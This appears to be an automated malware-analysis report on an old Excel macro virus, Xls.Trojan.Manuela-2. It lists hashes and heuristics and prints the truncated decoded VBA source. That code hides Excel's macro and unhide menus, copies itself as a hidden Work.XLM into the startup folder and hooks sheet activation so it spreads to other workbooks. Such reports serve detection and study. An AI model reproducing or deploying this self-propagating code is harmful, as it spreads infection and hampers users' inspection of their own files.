Xls.Trojan.Manuela-2 — Office (OLE) malware analysis

Static analysis result for SHA-256 cb97a8b4c3bc3e7e…

MALICIOUS

Office (OLE)

24.5 KB Created: 1999-03-29 12:39:03 Authoring application: Microsoft Excel First seen: 2012-06-14
MD5: 0d02e661745c7e6058a23a5228476d0e SHA-1: cfa4e9e333ad7923c635c4458b3e594eadfb9dd6 SHA-256: cb97a8b4c3bc3e7eb8b6bb17f040e81220cf7b9fb07b616adfe518aea3683707
220 Risk Score

Malware Insights

Xls.Trojan.Manuela-2 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file is identified as malicious by ClamAV with the signature Xls.Trojan.Manuela-2. It contains VBA macros, including an Auto_Open macro, which is designed to execute automatically when the spreadsheet is opened. The macro attempts to disable various menu items, likely to hinder user interaction or analysis, and potentially to prepare for further malicious actions. The presence of Auto_Open and Auto_Close macros strongly suggests an intent to execute arbitrary code.

Heuristics 4

  • ClamAV: Xls.Trojan.Manuela-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Trojan.Manuela-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Open macro high OLE_VBA_AUTO
    Auto_Open macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5181 bytes
SHA-256: ddb62ebe424134bfd18fcae5a9213f09541c6b14549a8808e35ea1aa872a02fd
Detection
ClamAV: Xls.Trojan.Manuela-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "DieseArbeitsmappe"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Tabelle3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Modul1"
Sub Auto_Open()
On Error Resume Next
Application.ScreenUpdating = False
Application.DisplayAlerts = False
MenuBars(xlWorksheet).Reset
MenuBars(xlModule).Reset
MenuBars(xlNoDocuments).Reset
MenuBars(xlInfo).Reset
MenuBars(xlChart).Reset
MenuBars(xlWorksheet).Menus("Tools").MenuItems("---").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlWorksheet).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlWorksheet).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlWorksheet).Menus("Format").MenuItems("S&heet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("--").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Delete...").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlWorksheet).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlWorksheet).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("---").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Macro...").Delete
MenuBars(xlChart).Menus("Tools").MenuItems("&Record Macro").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Hide").Delete
MenuBars(xlChart).Menus("Window").MenuItems("&Unhide...").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("--").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("De&lete Sheet").Delete
MenuBars(xlChart).Menus("Edit").MenuItems("&Move or Copy Sheet...").Delete
MenuBars(xlChart).Menus("Insert").MenuItems("&Macro").Delete
MenuBars(xlModule).Menus("Tools").MenuItems("Assig&n Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("--").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Record New Macro...").Delete
MenuBars(xlNoDocuments).Menus("File").MenuItems("&Unhide...").Delete
If cek_global()
    GoTo FuckSheet:
Else
    infectglobal
End If
FuckSheet:
Application.OnSheetActivate = "Work.XLM"
bye:
End Sub

Function cek_global() As Boolean
cek_global = False
For x = 1 To Application.Workbooks.Count
    If Application.Workbooks(x).Name = "Work.XLM" Then
    For y = 1 To Application.Workbooks("Work.XLM").Modules.Count
        If Application.Workbooks("Work.XLM").Modules(y).Name = "Manuela" Then
            cek_global = True
        End If
    Next y
    End If
Next x
End Function

Function infectglobal()
  activebook = ActiveWorkbook.Name
  Workbooks(activebook).SaveCopyAs Application.StartupPath + "\Work.XLM"
  Workbooks.Open (Application.StartupPath + "\Work.XLM")
  Windows("Work.XLM").Visible = False
 Application.Workbooks("Work.XLM").Save
End Function

Function inFuckIt() As Boolean
activebook = ActiveWorkbook.Name
inFuckIt = False
For y = 1 To Application.Workbooks(activebook).Modules.Count
    If Application.Workbooks(activebook).Modules(y).Name = "Manuela" Then
            inFuckIt = True
   En
... (truncated)

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